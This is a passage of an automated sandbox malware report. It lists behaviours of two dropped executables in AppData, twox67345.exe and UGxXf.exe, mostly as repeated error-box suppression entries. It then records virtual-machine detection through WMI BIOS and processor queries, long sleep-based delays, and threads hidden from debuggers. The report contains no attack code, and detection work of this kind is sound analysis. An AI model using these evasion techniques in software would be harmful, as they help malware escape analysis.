Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Window / User API: threadDelayed 7353			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Window / User API: threadDelayed 2687			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2380	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe TID: 2844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe TID: 2808	Thread sleep time: -540000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe TID: 1924	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe TID: 1928	Thread sleep count: 7353 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe TID: 1928	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe TID: 1408	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe TID: 1464	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe TID: 2144	Thread sleep count: 2687 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe TID: 1880	Thread sleep count: 130 > 30	Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\twox67345.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Last function: Thread delayed

Source: UGxXf.exe, 0000000B.00000002.2329868830.00000000006EA000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Roaming\twox67345.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Thread information set: HideFromDebugger	Jump to behavior
